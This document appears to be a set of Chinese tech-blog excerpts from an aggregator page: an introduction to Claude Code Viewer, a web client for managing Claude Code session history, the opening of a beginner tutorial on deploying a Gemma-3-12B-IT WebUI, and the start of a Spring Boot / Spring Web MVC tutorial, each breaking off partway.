Claude Code Viewer: 打造 Web 端 Claude Code 会话管理利器 当 Claude Code 成为日常开发标配,如何更高效地管理会话历史、分析对话流程就成了开发者的新需求。Claude Code Viewer 应运而生——一个功能完备的 Web 端 Claude Code 客户端。 背景介绍 Claude Code 是 Anthropic 推出的 AI 编程助手,但其原生的会话管理能力相对基础。大多数开发者面临以下痛点: * 会话历史难以追溯和检索 * 无法在移动设备上方便地查看会话 * 多人协作时难以共享会话内容 * 缺乏对会话流程的全局视角 Claude Code Viewer 正是为解决这些问题而生的开源项目。它采用 Web 架构设计,专注于会话日志的完整分析,通过严格的数据校验和渐进式展示 UI,让每一个对话细节都清晰可见。

新手必看!Gemma-3-12B-IT WebUI 保姆级教程:从部署到对话全流程

新手必看!Gemma-3-12B-IT WebUI 保姆级教程:从部署到对话全流程 你是不是也对大语言模型充满好奇,想亲手体验一下和AI对话的感觉,但又觉得技术门槛太高,不知道从何下手?别担心,今天这篇教程就是为你准备的。 想象一下,你有一个随时待命的私人助手,能帮你写代码、解答问题、创作文案,甚至陪你聊天。现在,这个助手就摆在眼前——Google最新发布的Gemma-3-12B-IT模型,而且我们已经为你准备好了开箱即用的WebUI界面。 这篇文章将带你从零开始,一步步完成Gemma-3-12B-IT WebUI的部署和使用。不需要你懂复杂的命令行,不需要你配置繁琐的环境,只需要跟着我的步骤走,10分钟内你就能开始和AI对话了。 1. 认识你的新助手:Gemma-3-12B-IT 在开始动手之前,我们先花几分钟了解一下你要部署的这个“助手”到底有什么本事。 1.1 什么是Gemma-3? Gemma-3是Google在2026年发布的一系列轻量级开源语言模型。你可能听说过ChatGPT、Claude这些大模型,但它们的参数动辄上千亿,对普通用户来说部署成本太高。而Ge

【JavaEE】创建SpringBoot第一个项目,Spring Web MVC⼊⻔,从概念到实战的 Web 开发进阶之旅

【JavaEE】创建SpringBoot第一个项目,Spring Web MVC⼊⻔,从概念到实战的 Web 开发进阶之旅

💬 欢迎讨论:如对文章内容有疑问或见解,欢迎在评论区留言,我需要您的帮助! 👍 点赞、收藏与分享:如果这篇文章对您有所帮助,请不吝点赞、收藏或分享,谢谢您的支持! 🚀 传播技术之美:期待您将这篇文章推荐给更多对需要学习JavaEE语言、低代码开发感兴趣的朋友,让我们共同学习、成长! 1.什么是 Spring Web MVC? 官⽅对于 Spring MVC 的描述是这样的: Spring Web MVC is the original web framework built on the Servlet API and has been included in the Spring Framework from the very beginning.